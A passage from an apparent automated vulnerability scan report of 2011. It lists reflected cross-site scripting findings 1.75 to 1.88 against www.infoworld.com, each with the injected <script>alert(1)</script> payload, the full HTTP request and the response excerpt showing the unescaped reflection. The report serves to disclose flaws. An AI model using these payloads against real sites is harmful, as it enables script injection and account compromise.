Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:51 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:51 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460831-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51177

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/images/icons/small_right_arrow_white.gifac05d"><script>alert(1)</script>e21cf643b12&123">
...[SNIP]...

1.75. http://www.infoworld.com/sites/all/themes/ifw/images/utilitybar_bg.png [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/utilitybar_bg.png

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97b36"><script>alert(1)</script>231bfbd7d2e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites97b36"><script>alert(1)</script>231bfbd7d2e/all/themes/ifw/images/utilitybar_bg.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:34 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:34 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460814-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites97b36"><script>alert(1)</script>231bfbd7d2e/all/themes/ifw/images/utilitybar_bg.png&123">
...[SNIP]...

1.76. http://www.infoworld.com/sites/all/themes/ifw/images/utilitybar_bg.png [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/utilitybar_bg.png

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c29f7"><script>alert(1)</script>b94c69befaf was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/allc29f7"><script>alert(1)</script>b94c69befaf/themes/ifw/images/utilitybar_bg.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:36 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:36 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460816-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/allc29f7"><script>alert(1)</script>b94c69befaf/themes/ifw/images/utilitybar_bg.png&123">
...[SNIP]...

1.77. http://www.infoworld.com/sites/all/themes/ifw/images/utilitybar_bg.png [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/utilitybar_bg.png

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34533"><script>alert(1)</script>81d3847c37b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes34533"><script>alert(1)</script>81d3847c37b/ifw/images/utilitybar_bg.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:38 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:38 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460818-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes34533"><script>alert(1)</script>81d3847c37b/ifw/images/utilitybar_bg.png&123">
...[SNIP]...

1.78. http://www.infoworld.com/sites/all/themes/ifw/images/utilitybar_bg.png [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/utilitybar_bg.png

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a180"><script>alert(1)</script>7209ca4eb54 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw4a180"><script>alert(1)</script>7209ca4eb54/images/utilitybar_bg.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:41 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:41 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460821-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw4a180"><script>alert(1)</script>7209ca4eb54/images/utilitybar_bg.png&123">
...[SNIP]...

1.79. http://www.infoworld.com/sites/all/themes/ifw/images/utilitybar_bg.png [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/utilitybar_bg.png

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b41d6"><script>alert(1)</script>52e4d634c9d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/imagesb41d6"><script>alert(1)</script>52e4d634c9d/utilitybar_bg.png?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:43 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:43 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460823-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/imagesb41d6"><script>alert(1)</script>52e4d634c9d/utilitybar_bg.png&123">
...[SNIP]...

1.80. http://www.infoworld.com/sites/all/themes/ifw/images/utilitybar_bg.png [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/images/utilitybar_bg.png

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b71c"><script>alert(1)</script>89dd0153c7e was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/images/utilitybar_bg.png9b71c"><script>alert(1)</script>89dd0153c7e?123 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/sites/infoworld.com/files/css/css_d1529d6005cb5615e49502036d31b9d1.css
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:33:45 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:33:45 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460825-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/images/utilitybar_bg.png9b71c"><script>alert(1)</script>89dd0153c7e&123">
...[SNIP]...

1.81. http://www.infoworld.com/sites/all/themes/ifw/scripts/leadgen_tracking.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/scripts/leadgen_tracking.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b3b7c"><script>alert(1)</script>9093b01b81e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesb3b7c"><script>alert(1)</script>9093b01b81e/all/themes/ifw/scripts/leadgen_tracking.js?6 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:03 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:03 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460663-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sitesb3b7c"><script>alert(1)</script>9093b01b81e/all/themes/ifw/scripts/leadgen_tracking.js&6">
...[SNIP]...

1.82. http://www.infoworld.com/sites/all/themes/ifw/scripts/leadgen_tracking.js [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/scripts/leadgen_tracking.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 378a5"><script>alert(1)</script>bf3646dc20c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all378a5"><script>alert(1)</script>bf3646dc20c/themes/ifw/scripts/leadgen_tracking.js?6 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:06 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:06 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460666-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all378a5"><script>alert(1)</script>bf3646dc20c/themes/ifw/scripts/leadgen_tracking.js&6">
...[SNIP]...

1.83. http://www.infoworld.com/sites/all/themes/ifw/scripts/leadgen_tracking.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/scripts/leadgen_tracking.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea9f4"><script>alert(1)</script>51020903fbb was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themesea9f4"><script>alert(1)</script>51020903fbb/ifw/scripts/leadgen_tracking.js?6 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:08 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:08 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460668-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themesea9f4"><script>alert(1)</script>51020903fbb/ifw/scripts/leadgen_tracking.js&6">
...[SNIP]...

1.84. http://www.infoworld.com/sites/all/themes/ifw/scripts/leadgen_tracking.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/scripts/leadgen_tracking.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d58bf"><script>alert(1)</script>d8f6718d75 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifwd58bf"><script>alert(1)</script>d8f6718d75/scripts/leadgen_tracking.js?6 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:10 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:10 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460670-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifwd58bf"><script>alert(1)</script>d8f6718d75/scripts/leadgen_tracking.js&6">
...[SNIP]...

1.85. http://www.infoworld.com/sites/all/themes/ifw/scripts/leadgen_tracking.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/scripts/leadgen_tracking.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fe989"><script>alert(1)</script>30d8dbc1884 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/scriptsfe989"><script>alert(1)</script>30d8dbc1884/leadgen_tracking.js?6 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:12 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:12 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460672-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/scriptsfe989"><script>alert(1)</script>30d8dbc1884/leadgen_tracking.js&6">
...[SNIP]...

1.86. http://www.infoworld.com/sites/all/themes/ifw/scripts/leadgen_tracking.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/all/themes/ifw/scripts/leadgen_tracking.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload afa98"><script>alert(1)</script>dee386dd2b5 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/ifw/scripts/leadgen_tracking.jsafa98"><script>alert(1)</script>dee386dd2b5?6 HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.infoworld.com/

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:14 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:14 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460674-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51162

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/all/themes/ifw/scripts/leadgen_tracking.jsafa98"><script>alert(1)</script>dee386dd2b5&6">
...[SNIP]...

1.87. http://www.infoworld.com/sites/default/files/ifw_favicon.ico [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/default/files/ifw_favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6aa62"><script>alert(1)</script>9afe6333721 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites6aa62"><script>alert(1)</script>9afe6333721/default/files/ifw_favicon.ico HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:19 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:19 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460679-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites6aa62"><script>alert(1)</script>9afe6333721/default/files/ifw_favicon.ico">
...[SNIP]...

1.88. http://www.infoworld.com/sites/default/files/ifw_favicon.ico [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.infoworld.com
Path:	/sites/default/files/ifw_favicon.ico

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa000"><script>alert(1)</script>4f5035b6721 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/defaultaa000"><script>alert(1)</script>4f5035b6721/files/ifw_favicon.ico HTTP/1.1
Host: www.infoworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: mobify=0

Response

HTTP/1.1 404 Not Found
Date: Mon, 19 Sep 2011 19:31:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.8
X-Drupal-Cache: MISS
Last-Modified: Mon, 19 Sep 2011 19:31:21 +0000
Cache-Control: public, max-age=0, public, max-age=600
ETag: "1316460681-0"
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie,Accept-Encoding
nnCoection: close
Content-Type: text/html; charset=utf-8
Content-Length: 51147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<head>
<m
...[SNIP]...
<a href="/user?destination=sites/defaultaa000"><script>alert(1)</script>4f5035b6721/files/ifw_favicon.ico">
...[SNIP]...

